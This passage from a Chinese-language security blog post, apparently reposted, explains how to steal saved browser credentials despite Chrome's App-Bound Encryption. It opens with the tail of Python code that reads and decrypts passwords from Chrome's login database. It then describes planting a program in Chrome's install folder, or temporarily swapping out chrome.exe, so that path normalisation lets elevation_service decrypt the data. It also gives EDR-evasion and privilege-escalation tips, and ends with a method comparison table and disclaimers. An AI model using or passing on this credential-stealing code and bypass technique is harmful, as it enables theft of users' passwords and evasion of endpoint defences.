blob 失败: {e}") return # 读取并解密密码 try: conn = sqlite3.connect(temp_login_data) cursor = conn.cursor() cursor.execute("SELECT origin_url, username_value, password_value FROM logins") logins = cursor.fetchall() conn.close() except Exception as e: print(f"读取登录数据失败: {e}") return print("解密后的密码:") print("=" * 80) for url, username, encrypted_password in logins: if not encrypted_password: continue password = decrypt_password(encrypted_password, master_key) if password: print(f"URL: {url}") print(f"用户名: {username}") print(f"密码: {password}") print("-" * 80) # 清理临时文件 shutil.rmtree(temp_dir)if __name__ == "__main__": main()
3 伪造路径(管理员权限)
在尝试了上面两个方法之后,发现都各有优缺点。
在现代 EDR 的环境下,各种进程注入和绕过 HOOK 的方法反而被更严密地监控,此外过于复杂的内存操作遇到 EDR 或其他监控软件的 HOOK 可能会遇到奇奇怪怪的问题,比如经过测试,ChromeElevator 程序在只安装了电脑管家的个人电脑上能稳定运行,但在安装了两个商用 EDR 的办公电脑上无法正常运行,获取不到任何数据。
第二个方法虽然不涉及复杂的内存对抗,但硬编码密钥在不同的浏览器版本下可能不一致,有一定的局限性。此外该方法需要主动调用 DPAPI 进行两层解密,而部分 EDR 对 DPAPI 的调用进行了监控,如果来源不是具有合法签名的浏览器进程,可能会被拦截或告警。
这就引申出了一个折中的办法,那就是伪造可被验证通过的路径。ABE 机制在进行路径验证时,对比的并不是完整的程序路径,而是经过规范化的字符串,且不会对来源程序的签名进行验证。
MaybeTrimProcessPath 的规范化逻辑是这样的:
输入: C:\Program Files\Google\Chrome\Application\143.0.7499.193\chrome.exe步骤 1 — 去掉文件名: C:\Program Files\Google\Chrome\Application\143.0.7499.193\步骤 2 — 去掉版本号: C:\Program Files\Google\Chrome\Application\步骤 3 — 去掉 Application: C:\Program Files\Google\Chrome结果: C:\Program Files\Google\Chrome
现在如果我们把恶意程序放在同一目录或上级目录下:
C:\Program Files\Google\Chrome\Application\evil.exe步骤 1 — 去掉文件名: C:\Program Files\Google\Chrome\Application\步骤 2 — 去掉 Application: C:\Program Files\Google\Chrome结果: C:\Program Files\Google\Chrome ← 与上面完全一致
函数只截取目录部分做比较,不检查文件名本身是什么。只要恶意程序放在 Chrome 安装路径下,经过规范化后的目录字符串就与合法 chrome.exe 的验证数据相同,让恶意程序发起 COM 请求,就能通过 elevation_service 的验证,让 elevation_service 去进行两层 DPAPI 和内层的硬编码密钥解密,返回给程序浏览器数据的加密密钥,我们的程序只需要进行 AES 解密即可。
这个方法唯一的缺点是需要管理员权限,要在浏览器安装目录放置文件,需要管理员权限。但比起另外两个方法的局限性,获取管理员权限的成本已经很低了,现在随便一个银狐事件基本都是管理员权限,UACBypass 或者直接前期钓鱼诱导点击 UAC 确认窗口都可以实现。
如果要做的更隐蔽一点,避免被发现 Chrome 的安装目录下被放了不属于 Chrome 的程序,可以让加载器先重命名原来的 Chrome.exe,再放一个伪造的 Chrome.exe 来获取数据,获取完后删除并恢复原来的 Chrome.exe,经过测试整个过程非常快,毫秒级操作几乎无感。
后来查阅资料发现,Glove Stealer 恶意软件曾使用过这种手法,将窃密程序放置于 Chrome 的 Application 目录中绕过路径校验。
三、总结
三种凭据提取思路对比
| | | | | | — | — | — | — | | 方法 | 权限 | 原理 | 优缺点 | | 进程注入 | 普通用户 | 注入chrome.exe,继承进程身份,调用IElevator::DecryptData,路径验证通过 | 无需提权,隐蔽性高,但内存操作复杂,EDR HOOK 环境下不稳定 | | 直接解密 | 管理员 | 逆向elevation_service获取硬编码密钥,模拟lsass双层DPAPI,手动解密信封层 | 不需路径验证但硬编码密钥可能随版本变化,DPAPI调用可能被EDR监控,且需要管理员权限 | | 伪造路径 | 管理员 | 将程序放在Chrome安装目录下,规范化路径与Chrome一致,通过路径验证,服务自动完成全部解密 | 无需DPAPI调用和复杂内存操作,但需要管理员权限写文件到Chrome安装目录下 |
三种方法都各有优缺点,建议根据具体实战环境选择最适合的方法。
注:本文内容仅用于研究学习,不可用于网络攻击等非法行为,否则造成的后果均与本文作者和本公众号无关,维护网络安全人人有责~
一起当保安,少走30年弯路 ↓↓↓****
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:红蓝攻防研究实验室 网络保安29 网络保安29《Chromium数据加密演进和ABE保护下的浏览器凭据提取》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论